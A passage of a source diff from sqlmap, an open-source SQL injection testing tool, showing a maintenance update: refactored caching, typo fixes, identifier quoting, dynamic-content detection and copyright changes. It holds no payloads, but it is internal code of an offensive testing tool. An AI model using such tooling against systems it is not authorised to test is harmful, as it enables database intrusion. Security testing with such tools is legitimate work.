        errMsg += "the file '%s' ('%s'). Please make " % (xmlFile, getSafeExString(ex))
        errMsg += "sure that you haven't made any changes to it"
-        raise SqlmapInstallationException, errMsg
+        raise SqlmapInstallationException(errMsg)

 def getSQLSnippet(dbms, sfile, **variables):
    """
@@ -2057,6 +2097,7 @@ def readXmlFile(xmlFile):

    return retVal

+@cachedmethod
 def stdev(values):
    """
    Computes standard deviation of a list of numbers.
@@ -2068,19 +2109,10 @@ def stdev(values):

    if not values or len(values) < 2:
        return None
-
-    key = (values[0], values[-1], len(values))
-
-    if kb.get("cache") and key in kb.cache.stdev:
-        retVal = kb.cache.stdev[key]
    else:
        avg = average(values)
        _ = reduce(lambda x, y: x + pow((y or 0) - avg, 2), values, 0.0)
-        retVal = sqrt(_ / (len(values) - 1))
-        if kb.get("cache"):
-            kb.cache.stdev[key] = retVal
-
-    return retVal
+        return sqrt(_ / (len(values) - 1))

 def average(values):
    """
@@ -2240,7 +2272,7 @@ def goGoodSamaritan(prevValue, originalCharset):
 def getPartRun(alias=True):
    """
    Goes through call stack and finds constructs matching conf.dbmsHandler.*.
-    Returns it or its alias used in txt/common-outputs.txt
+    Returns it or its alias used in 'txt/common-outputs.txt'
    """

    retVal = None
@@ -2498,6 +2530,9 @@ def findLocalPort(ports):
 def findMultipartPostBoundary(post):
    """
    Finds value for a boundary parameter in given multipart POST body
+
+    >>> findMultipartPostBoundary("-----------------------------9051914041544843365972754266\\nContent-Disposition: form-data; name=text\\n\\ndefault")
+    '9051914041544843365972754266'
    """

    retVal = None
@@ -2520,7 +2555,7 @@ def findMultipartPostBoundary(post):

    return retVal

-def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, plusspace=True):
+def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, spaceplus=True):
    """
    URL decodes given value

@@ -2538,14 +2573,14 @@ def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CH
            pass
        finally:
            if convall:
-                result = urllib.unquote_plus(value) if plusspace else urllib.unquote(value)
+                result = urllib.unquote_plus(value) if spaceplus else urllib.unquote(value)
            else:
                def _(match):
                    charset = reduce(lambda x, y: x.replace(y, ""), unsafe, string.printable)
                    char = chr(ord(match.group(1).decode("hex")))
                    return char if char in charset else match.group(0)
                result = value
-                if plusspace:
+                if spaceplus:
                    result = result.replace('+', ' ')  # plus sign has a special meaning in URL encoded data (hence the usage of urllib.unquote_plus in convall case)
                result = re.sub(r"%([0-9a-fA-F]{2})", _, result)

@@ -2647,7 +2682,7 @@ def logHTTPTraffic(requestLogMsg, responseLogMsg, startTime=None, endTime=None):
            dataToTrafficFile("%s%s" % (responseLogMsg, os.linesep))
            dataToTrafficFile("%s%s%s%s" % (os.linesep, 76 * '#', os.linesep, os.linesep))

-def getPageTemplate(payload, place):  # Cross-linked function
+def getPageTemplate(payload, place):  # Cross-referenced function
    raise NotImplementedError

@cachedmethod
@@ -2687,6 +2722,7 @@ def enumValueToNameLookup(type_, value_):

    return retVal

+@cachedmethod
 def extractRegexResult(regex, content, flags=0):
    """
    Returns 'result' group value from a possible match with regex on a given
@@ -2779,13 +2815,17 @@ def findDynamicContent(firstPage, secondPage):
    """
    This function checks if the provided pages have dynamic content. If they
    are dynamic, proper markings will be made
+
+    >>> findDynamicContent("Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no.", "Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. <script src='ads.js'></script>Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no.")
+    >>> kb.dynamicMarkings
+    [('natum reque et per. ', 'Facer tritani repreh')]
    """

    if not firstPage or not secondPage:
        return

    infoMsg = "searching for dynamic content"
-    logger.info(infoMsg)
+    singleTimeLogMessage(infoMsg)

    blocks = SequenceMatcher(None, firstPage, secondPage).get_matching_blocks()
    kb.dynamicMarkings = []
@@ -2794,7 +2834,7 @@ def findDynamicContent(firstPage, secondPage):
    for block in blocks[:]:
        (_, _, length) = block

-        if length <= DYNAMICITY_MARK_LENGTH:
+        if length <= 2 * DYNAMICITY_BOUNDARY_LENGTH:
            blocks.remove(block)

    # Making of dynamic markings based on prefix/suffix principle
@@ -2812,14 +2852,23 @@ def findDynamicContent(firstPage, secondPage):
            if suffix is None and (blocks[i][0] + blocks[i][2] >= len(firstPage)):
                continue

-            prefix = trimAlphaNum(prefix)
-            suffix = trimAlphaNum(suffix)
+            if prefix and suffix:
+                prefix = prefix[-DYNAMICITY_BOUNDARY_LENGTH:]
+                suffix = suffix[:DYNAMICITY_BOUNDARY_LENGTH]

-            kb.dynamicMarkings.append((prefix[-DYNAMICITY_MARK_LENGTH / 2:] if prefix else None, suffix[:DYNAMICITY_MARK_LENGTH / 2] if suffix else None))
+                infix = max(re.search(r"(?s)%s(.+)%s" % (re.escape(prefix), re.escape(suffix)), _) for _ in (firstPage, secondPage)).group(1)
+
+                if infix[0].isalnum():
+                    prefix = trimAlphaNum(prefix)
+
+                if infix[-1].isalnum():
+                    suffix = trimAlphaNum(suffix)
+
+            kb.dynamicMarkings.append((prefix if prefix else None, suffix if suffix else None))

    if len(kb.dynamicMarkings) > 0:
        infoMsg = "dynamic content marked for removal (%d region%s)" % (len(kb.dynamicMarkings), 's' if len(kb.dynamicMarkings) > 1 else '')
-        logger.info(infoMsg)
+        singleTimeLogMessage(infoMsg)

 def removeDynamicContent(page):
    """
@@ -2889,7 +2938,7 @@ def isDBMSVersionAtLeast(version):

        value = filterStringValue(value, '[0-9.><=]')

-        if isinstance(value, basestring):
+        if value and isinstance(value, basestring):
            if value.startswith(">="):
                value = float(value.replace(">=", ""))
            elif value.startswith(">"):
@@ -2899,7 +2948,7 @@ def isDBMSVersionAtLeast(version):
            elif value.startswith(">"):
                value = float(value.replace("<", "")) - 0.01

-        retVal = getUnicode(value) >= getUnicode(version)
+            retVal = distutils.version.LooseVersion(getUnicode(value)) >= distutils.version.LooseVersion(getUnicode(version))

    return retVal

@@ -2966,7 +3015,7 @@ def setOptimize():
    Sets options turned on by switch '-o'
    """

-    #conf.predictOutput = True
+    # conf.predictOutput = True
    conf.keepAlive = True
    conf.threads = 3 if conf.threads < 3 else conf.threads
    conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor))
@@ -3170,9 +3219,7 @@ def showHttpErrorCodes():

    if kb.httpErrorCodes:
        warnMsg = "HTTP error codes detected during run:\n"
-        warnMsg += ", ".join("%d (%s) - %d times" % (code, httplib.responses[code] \
-          if code in httplib.responses else '?', count) \
-          for code, count in kb.httpErrorCodes.items())
+        warnMsg += ", ".join("%d (%s) - %d times" % (code, httplib.responses[code] if code in httplib.responses else '?', count) for code, count in kb.httpErrorCodes.items())
        logger.warn(warnMsg)
        if any((str(_).startswith('4') or str(_).startswith('5')) and _ != httplib.INTERNAL_SERVER_ERROR and _ != kb.originalCode for _ in kb.httpErrorCodes.keys()):
            msg = "too many 4xx and/or 5xx HTTP error codes "
@@ -3188,8 +3235,7 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="replace", bu
        return codecs.open(filename, mode, encoding, errors, buffering)
    except IOError:
        errMsg = "there has been a file opening error for filename '%s'. " % filename
-        errMsg += "Please check %s permissions on a file " % ("write" if \
-          mode and ('w' in mode or 'a' in mode or '+' in mode) else "read")
+        errMsg += "Please check %s permissions on a file " % ("write" if mode and ('w' in mode or 'a' in mode or '+' in mode) else "read")
        errMsg += "and that it's not locked by another process."
        raise SqlmapSystemException(errMsg)

@@ -3254,14 +3300,17 @@ def checkIntegrity():
    logger.debug("running code integrity check")

    retVal = True
-    for checksum, _ in (re.split(r'\s+', _) for _ in getFileItems(paths.CHECKSUM_MD5)):
-        path = os.path.normpath(os.path.join(paths.SQLMAP_ROOT_PATH, _))
-        if not os.path.isfile(path):
-            logger.error("missing file detected '%s'" % path)
-            retVal = False
-        elif md5File(path) != checksum:
-            logger.error("wrong checksum of file '%s' detected" % path)
-            retVal = False
+
+    if os.path.isfile(paths.CHECKSUM_MD5):
+        for checksum, _ in (re.split(r'\s+', _) for _ in getFileItems(paths.CHECKSUM_MD5)):
+            path = os.path.normpath(os.path.join(paths.SQLMAP_ROOT_PATH, _))
+            if not os.path.isfile(path):
+                logger.error("missing file detected '%s'" % path)
+                retVal = False
+            elif md5File(path) != checksum:
+                logger.error("wrong checksum of file '%s' detected" % path)
+                retVal = False
+
    return retVal

 def unhandledExceptionMessage():
@@ -3277,9 +3326,9 @@ def unhandledExceptionMessage():
    errMsg += "reproduce the bug. The "
    errMsg += "developers will try to reproduce the bug, fix it accordingly "
    errMsg += "and get back to you\n"
-    errMsg += "sqlmap version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:]
+    errMsg += "Running version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:]
    errMsg += "Python version: %s\n" % PYVERSION
-    errMsg += "Operating system: %s\n" % PLATFORM
+    errMsg += "Operating system: %s\n" % platform.platform()
    errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding))
    errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None))
    errMsg += "Back-end DBMS:"
@@ -3374,6 +3423,9 @@ def createGithubIssue(errMsg, excMsg):
 def maskSensitiveData(msg):
    """
    Masks sensitive data in the supplied message
+
+    >>> maskSensitiveData('python sqlmap.py -u "http://www.test.com/vuln.php?id=1" --banner')
+    u'python sqlmap.py -u *********************************** --banner'
    """

    retVal = getUnicode(msg)
@@ -3402,7 +3454,7 @@ def listToStrValue(value):
    '1, 2, 3'
    """

-    if isinstance(value, (set, tuple)):
+    if isinstance(value, (set, tuple, types.GeneratorType)):
        value = list(value)

    if isinstance(value, list):
@@ -3412,22 +3464,6 @@ def listToStrValue(value):

    return retVal

-def getExceptionFrameLocals():
-    """
-    Returns dictionary with local variable content from frame
-    where exception has been raised
-    """
-
-    retVal = {}
-
-    if sys.exc_info():
-        trace = sys.exc_info()[2]
-        while trace.tb_next:
-            trace = trace.tb_next
-        retVal = trace.tb_frame.f_locals
-
-    return retVal
-
 def intersect(valueA, valueB, lowerCase=False):
    """
    Returns intersection of the array-ized values
@@ -3459,7 +3495,7 @@ def removeReflectiveValues(content, payload, suppressWarning=False):
    retVal = content

    try:
-        if all([content, payload]) and isinstance(content, unicode) and kb.reflectiveMechanism and not kb.heuristicMode:
+        if all((content, payload)) and isinstance(content, unicode) and kb.reflectiveMechanism and not kb.heuristicMode:
            def _(value):
                while 2 * REFLECTED_REPLACEMENT_REGEX in value:
                    value = value.replace(2 * REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX)
@@ -3565,17 +3601,23 @@ def safeSQLIdentificatorNaming(name, isTable=False):
        _ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE)

        if _:
-            retVal = re.sub(r"(?i)\A%s\." % DEFAULT_MSSQL_SCHEMA, "", retVal)
+            retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal)
+
+        if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal):  # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
+            retVal = unsafeSQLIdentificatorNaming(retVal)

-        if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ("." if _ else ""), retVal):  # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS):
-                retVal = "`%s`" % retVal.strip("`")
+                retVal = "`%s`" % retVal
            elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.INFORMIX, DBMS.HSQLDB):
-                retVal = "\"%s\"" % retVal.strip("\"")
+                retVal = "\"%s\"" % retVal
            elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
-                retVal = "\"%s\"" % retVal.strip("\"").upper()
-            elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and ((retVal or " ")[0].isdigit() or not re.match(r"\A\w+\Z", retVal, re.U)):
-                retVal = "[%s]" % retVal.strip("[]")
+                retVal = "\"%s\"" % retVal.upper()
+            elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
+                parts = retVal.split('.', 1)
+                for i in xrange(len(parts)):
+                    if ((parts[i] or " ")[0].isdigit() or not re.match(r"\A\w+\Z", parts[i], re.U)):
+                        parts[i] = "[%s]" % parts[i]
+                retVal = '.'.join(parts)

        if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal):
            retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal)
@@ -3600,9 +3642,7 @@ def unsafeSQLIdentificatorNaming(name):
            retVal = name.replace("[", "").replace("]", "")

        if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
-            prefix = "%s." % DEFAULT_MSSQL_SCHEMA
-            if retVal.startswith(prefix):
-                retVal = retVal[len(prefix):]
+            retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "", retVal)

    return retVal

@@ -3767,7 +3807,7 @@ def filterPairValues(values):

 def randomizeParameterValue(value):
    """
-    Randomize a parameter value based on occurances of alphanumeric characters
+    Randomize a parameter value based on occurrences of alphanumeric characters

    >>> random.seed(0)
    >>> randomizeParameterValue('foobar')
@@ -3812,7 +3852,7 @@ def randomizeParameterValue(value):
@cachedmethod
 def asciifyUrl(url, forceQuote=False):
    """
-    Attempts to make a unicode URL usuable with ``urllib/urllib2``.
+    Attempts to make a unicode URL usable with ``urllib/urllib2``.

    More specifically, it attempts to convert the unicode object ``url``,
    which is meant to represent a IRI, to an unicode object that,
@@ -3852,8 +3892,8 @@ def asciifyUrl(url, forceQuote=False):
        # Triggers on non-ascii characters - another option would be:
        #     urllib.quote(s.replace('%', '')) != s.replace('%', '')
        # which would trigger on all %-characters, e.g. "&".
-        if s.encode("ascii", "replace") != s or forceQuote:
-            return urllib.quote(s.encode(UNICODE_ENCODING), safe=safe)
+        if getUnicode(s).encode("ascii", "replace") != s or forceQuote:
+            return urllib.quote(s.encode(UNICODE_ENCODING) if isinstance(s, unicode) else s, safe=safe)
        return s

    username = quote(parts.username, '')
@@ -3877,13 +3917,15 @@ def asciifyUrl(url, forceQuote=False):
    if port:
        netloc += ':' + str(port)

-    return urlparse.urlunsplit([parts.scheme, netloc, path, query, parts.fragment])
+    return urlparse.urlunsplit([parts.scheme, netloc, path, query, parts.fragment]) or url

 def isAdminFromPrivileges(privileges):
    """
    Inspects privileges to see if those are coming from an admin user
    """

+    privileges = privileges or []
+
    # In PostgreSQL the usesuper privilege means that the
    # user is DBA
    retVal = (Backend.isDbms(DBMS.PGSQL) and "super" in privileges)
@@ -3909,6 +3951,9 @@ def isAdminFromPrivileges(privileges):
 def findPageForms(content, url, raise_=False, addToTargets=False):
    """
    Parses given page content for possible forms
+
+    >>> findPageForms('<html><form action="/input.php" method="POST"><input type="text" name="id" value="1"><input type="submit" value="Submit"></form></html>', '')
+    set([(u'/input.php', 'POST', u'id=1', None, None)])
    """

    class _(StringIO):
@@ -3931,21 +3976,23 @@ def findPageForms(content, url, raise_=False, addToTargets=False):

    try:
        forms = ParseResponse(response, backwards_compat=False)
-    except (UnicodeError, ValueError):
-        pass
    except ParseError:
-        if "<html" in (content or ""):
+        if re.search(r"(?i)<!DOCTYPE html|<html", content or ""):
            warnMsg = "badly formed HTML at the given URL ('%s'). Going to filter it" % url
            logger.warning(warnMsg)
            filtered = _("".join(re.findall(FORM_SEARCH_REGEX, content)), url)
-            try:
-                forms = ParseResponse(filtered, backwards_compat=False)
-            except ParseError:
-                errMsg = "no success"
-                if raise_:
-                    raise SqlmapGenericException(errMsg)
-                else:
-                    logger.debug(errMsg)
+
+            if filtered and filtered != content:
+                try:
+                    forms = ParseResponse(filtered, backwards_compat=False)
+                except ParseError:
+                    errMsg = "no success"
+                    if raise_:
+                        raise SqlmapGenericException(errMsg)
+                    else:
+                        logger.debug(errMsg)
+    except:
+        pass

    if forms:
        for form in forms:
@@ -3976,7 +4023,7 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
                url = urldecode(request.get_full_url(), kb.pageEncoding)
                method = request.get_method()
                data = request.get_data() if request.has_data() else None
-                data = urldecode(data, kb.pageEncoding, plusspace=False)
+                data = urldecode(data, kb.pageEncoding, spaceplus=False)

                if not data and method and method.upper() == HTTPMETHOD.POST:
                    debugMsg = "invalid POST form with blank data detected"
@@ -4022,7 +4069,7 @@ def checkSameHost(*urls):
    elif len(urls) == 1:
        return True
    else:
-        return all(urlparse.urlparse(url or "").netloc.split(':')[0] == urlparse.urlparse(urls[0] or "").netloc.split(':')[0] for url in urls[1:])
+        return all(re.sub(r"(?i)\Awww\.", "", urlparse.urlparse(url or "").netloc.split(':')[0]) == re.sub(r"(?i)\Awww\.", "", urlparse.urlparse(urls[0] or "").netloc.split(':')[0]) for url in urls[1:])

 def getHostHeader(url):
    """
@@ -4185,7 +4232,7 @@ def decodeHexValue(value, raw=False):
                    except UnicodeDecodeError:
                        pass
                if not isinstance(retVal, unicode):
-                    retVal = getUnicode(retVal, "utf8")
+                    retVal = getUnicode(retVal, conf.encoding or "utf8")

        return retVal

@@ -4327,7 +4374,9 @@ def prioritySortColumns(columns):
    ['userid', 'name', 'password']
    """

-    _ = lambda x: x and "id" in x.lower()
+    def _(column):
+        return column and "id" in column.lower()
+
    return sorted(sorted(columns, key=len), lambda x, y: -1 if _(x) and not _(y) else 1 if not _(x) and _(y) else 0)

 def getRequestHeader(request, name):
@@ -4341,7 +4390,7 @@ def getRequestHeader(request, name):

    if request and name:
        _ = name.upper()
-        retVal = max([value if _ == key.upper() else None for key, value in request.header_items()])
+        retVal = max(value if _ == key.upper() else None for key, value in request.header_items())

    return retVal

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -80,7 +80,7 @@ def base64unpickle(value, unsafe=False):
        if len(self.stack) > 1:
            func = self.stack[-2]
            if func not in PICKLE_REDUCE_WHITELIST:
-                raise Exception, "abusing reduce() is bad, Mkay!"
+                raise Exception("abusing reduce() is bad, Mkay!")
        self.load_reduce()

    def loads(str):
@@ -94,7 +94,7 @@ def base64unpickle(value, unsafe=False):

    try:
        retVal = loads(base64decode(value))
-    except TypeError: 
+    except TypeError:
        retVal = loads(base64decode(bytes(value)))

    return retVal
@@ -174,7 +174,7 @@ def htmlunescape(value):
            pass
    return retVal

-def singleTimeWarnMessage(message):  # Cross-linked function
+def singleTimeWarnMessage(message):  # Cross-referenced function
    sys.stdout.write(message)
    sys.stdout.write("\n")
    sys.stdout.flush()
@@ -193,7 +193,7 @@ def stdoutencode(data):
                warnMsg = "cannot properly display Unicode characters "
                warnMsg += "inside Windows OS command prompt "
                warnMsg += "(http://bugs.python.org/issue1602). All "
-                warnMsg += "unhandled occurances will result in "
+                warnMsg += "unhandled occurrences will result in "
                warnMsg += "replacement with '?' character. Please, find "
                warnMsg += "proper character representation inside "
                warnMsg += "corresponding output files. "
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,10 +1,14 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

+import hashlib
+
+from lib.core.threads import getCurrentThreadData
+
 def cachedmethod(f, cache={}):
    """
    Method with a cached content
@@ -13,15 +17,25 @@ def cachedmethod(f, cache={}):
    """

    def _(*args, **kwargs):
-        try:
-            key = (f, tuple(args), frozenset(kwargs.items()))
-            if key not in cache:
-                cache[key] = f(*args, **kwargs)
-        except:
-            key = "".join(str(_) for _ in (f, args, kwargs))
-            if key not in cache:
-                cache[key] = f(*args, **kwargs)
+        key = int(hashlib.md5("".join(str(_) for _ in (f, args, kwargs))).hexdigest()[:8], 16)
+        if key not in cache:
+            cache[key] = f(*args, **kwargs)

        return cache[key]

    return _
+
+def stackedmethod(f):
+    def _(*args, **kwargs):
+        threadData = getCurrentThreadData()
+        originalLevel = len(threadData.valueStack)
+
+        try:
+            result = f(*args, **kwargs)
+        finally:
+            if len(threadData.valueStack) > originalLevel:
+                threadData.valueStack = threadData.valueStack[:originalLevel]
+
+        return result
+
+    return _
@@ -1,27 +1,27 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

 from lib.core.datatype import AttribDict

 _defaults = {
-   "csvDel":       ',',
-   "timeSec":      5,
-   "googlePage":   1,
-   "verbose":      1,
-   "delay":        0,
-   "timeout":      30,
-   "retries":      3,
-   "saFreq":       0,
-   "threads":      1,
-   "level":        1,
-   "risk":         1,
-   "dumpFormat":   "CSV",
-   "tech":         "BEUSTQ",
-   "torType":      "SOCKS5",
+    "csvDel": ',',
+    "timeSec": 5,
+    "googlePage": 1,
+    "verbose": 1,
+    "delay": 0,
+    "timeout": 30,
+    "retries": 3,
+    "saFreq": 0,
+    "threads": 1,
+    "level": 1,
+    "risk": 1,
+    "dumpFormat": "CSV",
+    "tech": "BEUSTQ",
+    "torType": "SOCKS5",
 }

 defaults = AttribDict(_defaults)
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -184,10 +184,10 @@ DUMP_REPLACEMENTS = {" ": NULL, "": BLANK}

 DBMS_DICT = {
    DBMS.MSSQL: (MSSQL_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "mssql+pymssql"),
-    DBMS.MYSQL: (MYSQL_ALIASES, "python-pymysql", "https://github.com/petehunt/PyMySQL/", "mysql"),
+    DBMS.MYSQL: (MYSQL_ALIASES, "python-pymysql", "https://github.com/PyMySQL/PyMySQL", "mysql"),
    DBMS.PGSQL: (PGSQL_ALIASES, "python-psycopg2", "http://initd.org/psycopg/", "postgresql"),
-    DBMS.ORACLE: (ORACLE_ALIASES, "python cx_Oracle", "http://cx-oracle.sourceforge.net/", "oracle"),
-    DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "http://packages.ubuntu.com/quantal/python-sqlite", "sqlite"),
+    DBMS.ORACLE: (ORACLE_ALIASES, "python cx_Oracle", "https://oracle.github.io/python-cx_Oracle/", "oracle"),
+    DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "https://docs.python.org/2/library/sqlite3.html", "sqlite"),
    DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "https://github.com/mkleehammer/pyodbc", "access"),
    DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "http://kinterbasdb.sourceforge.net/", "firebird"),
    DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"),
@@ -208,54 +208,60 @@ FROM_DUMMY_TABLE = {
 }

 SQL_STATEMENTS = {
-    "SQL SELECT statement":  (
-            "select ",
-            "show ",
-            " top ",
-            " distinct ",
-            " from ",
-            " from dual",
-            " where ",
-            " group by ",
-            " order by ",
-            " having ",
-            " limit ",
-            " offset ",
-            " union all ",
-            " rownum as ",
-            "(case ",        ),
+    "SQL SELECT statement": (
+        "select ",
+        "show ",
+        " top ",
+        " distinct ",
+        " from ",
+        " from dual",
+        " where ",
+        " group by ",
+        " order by ",
+        " having ",
+        " limit ",
+        " offset ",
+        " union all ",
+        " rownum as ",
+        "(case ",
+    ),

-    "SQL data definition":   (
+    "SQL data definition": (
        "create ",
        "declare ",
        "drop ",
        "truncate ",
-        "alter ",            ),
+        "alter ",
+    ),

    "SQL data manipulation": (
-            "bulk ",
-            "insert ",
-            "update ",
-            "delete ",
-            "merge ",
-            "load ",         ),
+        "bulk ",
+        "insert ",
+        "update ",
+        "delete ",
+        "merge ",
+        "load ",
+    ),

-    "SQL data control":      (
-            "grant ",
-            "revoke ",       ),
+    "SQL data control": (
+        "grant ",
+        "revoke ",
+    ),

-    "SQL data execution":    (
-            "exec ",
-            "execute ",
-            "values ", 
-            "call ",         ),
+    "SQL data execution": (
+        "exec ",
+        "execute ",
+        "values ",
+        "call ",
+    ),

-    "SQL transaction":       (
-            "start transaction ",
-            "begin work ",
-            "begin transaction ",
-            "commit ",
-            "rollback ",     ),
+    "SQL transaction": (
+        "start transaction ",
+        "begin work ",
+        "begin transaction ",
+        "commit ",
+        "rollback ",
+    ),
 }

 POST_HINT_CONTENT_TYPES = {
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -46,6 +46,7 @@ from lib.core.settings import METADB_SUFFIX
 from lib.core.settings import MIN_BINARY_DISK_DUMP_SIZE
 from lib.core.settings import TRIM_STDOUT_DUMP_SIZE
 from lib.core.settings import UNICODE_ENCODING
+from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT
 from lib.core.settings import WINDOWS_RESERVED_NAMES
 from thirdparty.magic import magic

@@ -140,7 +141,7 @@ class Dump(object):
            try:
                elements = set(elements)
                elements = list(elements)
-                elements.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x)
+                elements.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _)
            except:
                pass

@@ -191,7 +192,7 @@ class Dump(object):
            userSettings = userSettings[0]

        users = userSettings.keys()
-        users.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x)
+        users.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _)

        if conf.api:
            self._write(userSettings, content_type=content_type)
@@ -285,7 +286,7 @@ class Dump(object):
                    colType = None

                    colList = columns.keys()
-                    colList.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x)
+                    colList.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _)

                    for column in colList:
                        colType = columns[column]
@@ -377,7 +378,7 @@ class Dump(object):
                    if count is None:
                        count = "Unknown"

-                    tables.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x)
+                    tables.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _)

                    for table in tables:
                        blank1 = " " * (maxlength1 - len(normalizeUnicode(table) or unicode(table)))
@@ -414,16 +415,16 @@ class Dump(object):
        elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
            if not os.path.isdir(dumpDbPath):
                try:
-                    os.makedirs(dumpDbPath, 0755)
+                    os.makedirs(dumpDbPath)
                except:
                    warnFile = True

-                    _ = unicodeencode(re.sub(r"[^\w]", "_", unsafeSQLIdentificatorNaming(db)))
+                    _ = unicodeencode(re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db)))
                    dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (_, hashlib.md5(unicodeencode(db)).hexdigest()[:8]))

                    if not os.path.isdir(dumpDbPath):
                        try:
-                            os.makedirs(dumpDbPath, 0755)
+                            os.makedirs(dumpDbPath)
                        except Exception, ex:
                            try:
                                tempDir = tempfile.mkdtemp(prefix="sqlmapdb")
@@ -441,7 +442,7 @@ class Dump(object):

                            dumpDbPath = tempDir

-            dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower()))
+            dumpFileName = os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower())))
            if not checkFile(dumpFileName, False):
                try:
                    openFile(dumpFileName, "w+b").close()
@@ -450,9 +451,9 @@ class Dump(object):
                except:
                    warnFile = True

-                    _ = re.sub(r"[^\w]", "_", normalizeUnicode(unsafeSQLIdentificatorNaming(table)))
+                    _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(table)))
                    if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES:
-                        _ = unicodeencode(re.sub(r"[^\w]", "_", unsafeSQLIdentificatorNaming(table)))
